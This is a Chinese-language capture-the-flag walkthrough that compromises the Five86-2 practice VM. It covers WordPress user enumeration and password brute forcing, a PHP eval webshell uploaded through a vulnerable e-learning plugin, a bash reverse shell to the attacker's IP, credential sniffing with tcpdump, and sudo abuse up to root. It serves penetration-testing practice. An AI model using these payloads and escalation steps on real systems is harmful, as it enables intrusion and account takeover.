靶机信息
下载地址:https://www.five86.com/five86-2.html 网络连接为NAT,kali和靶机为同一网段 下载好靶机解压后,直接运行文件夹里的.ova文件即可
信息搜集
使用nmap扫描同网段的信息,筛选出目标ip地址
nmap -sn 192.168.74.0/24
对目标主机做进一步的扫描
nmap -A 192.168.74.137
先查看下80端口 发现网站加载很慢,显示也有点问题,写条host试下
vim /etc/hosts
192.168.74.137 five86-2
再次访问站点,显示恢复正常
wordpress的站点,先用wpscan扫描下
wpscan --url http://192.168.74.137
没发现什么信息,5.1.4版本也没找到漏洞
手工枚举了下用户,发现了存在admin账户
用wpscan枚举用户,枚举出5个用户
wpscan --url http://192.168.74.137 -eu
把这几个用户名写到文本中,用于暴破 用的是kali自带的字典,路径为/usr/share/wordlists/rockyou.txt 由于字典太大了跑的时间太长,这里导出字典的前3万条跑
cd /usr/share/wordlists
head -30000 rockyou.txt > 3w.txt
wpscan --url http://192.168.74.137 -U user.txt -P 3w.txt
得到两个账户的信息
barney/spooky1,stephen/apollo1
尝试登录wordpress
登录stephen账户,没发现什么能利用的主题插件之类的
漏洞利用
登录barney账户,发现有3个插件
分别搜索了下插件名称,发现第三个插件IEAC有曝出过漏洞
含有漏洞的插件版本4.2995这里也是符合的
先创建一个文件夹,在文件夹里分别创建php和html文件 php文件里写入一句话,html随便写点不是空白就行,然后将文件夹压缩为.zip格式
mkdir test
vim 1.php
<?php @eval($_POST['666']);?>
vim 1.html
test
zip -r test.zip test/
回到wordpress,在Posts->Add New,点击+号,选择e-Learing,点击UPLOAD
点击CHOOSE YOUR ZIP FILE选择上传的压缩包,然后点击旁边的UPLOAD
测试文件夹是否上传成功,访问文件夹中的html文件,路径为
http://192.168.74.137/wp-content/uploads/articulate_uploads/test/1.html
html页面访问正常,文件夹上传成功,然后使用蚁剑连接1.php文件,路径为
http://192.168.74.137/wp-content/uploads/articulate_uploads/test/1.php
连上后发现没什么权限,把原来的1.php文件稍微修改下,弹个shell到kali上
<?php
@eval($_POST['666']);
system("bash -c 'bash -i >& /dev/tcp/192.168.74.129/666 0>&1'")
?>
在kali监听666端口,然后访问php文件的url,连接成功
获取交互式shell,这里python不行会报错,需要python3 执行sudo -l提示需要密码
python3 -c 'import pty;pty.spawn("/bin/sh")'
没有密码,看了一圈也没什么有用的,很多命令没权限,尝试切换到另外两个账户看下
可以切换到stephen账户,还是没什么东西,想到一开始在扫描的时候还发现了ftp服务
查看下进程发现有ftp的定时任务,属paul用户
ftp同http,telnet都是明文传输,进程执行的脚本文件可能会定时执行,尝试抓下包
查看下网卡信息,ifconfig用不了,可以用ip add
veth是虚拟网卡,br可能是桥接网卡,veth的master是br,类似冗余链路,先抓br网卡试下
用tcpdump抓br网卡的包 -D查看可监听网卡,timeout抓包时间(单位秒),-w生成文件,-i网卡,-r读取pcap包 (如果一直抓不到包的话,可以重启下靶机)
tcpdump -D
timeout 120 tcpdump -w 14.pcap -i br-eca3858d86bf
tcpdump -r 14.pcap
把包的内容复制出来,发现有password字段,搜索后发现密码为esomepasswford
权限提升
登录到paul用户
sudo -l发现可以免密执行peter用户的service命令
使用service命令进行提权,使用peter账户的service命令执行/bin/bash后即可获取权限 由于不知道当前具体路径,直接/bin/bash会报错,需要使用相对路径
sudo -u peter service ../../bin/bash
再次sudo -l发现可以免密执行root的passwd命令 使用root账户执行passwd命令修改root账户密码为123456
sudo -u root passwd root
使用新密码登录到root账户,在root目录下找到flag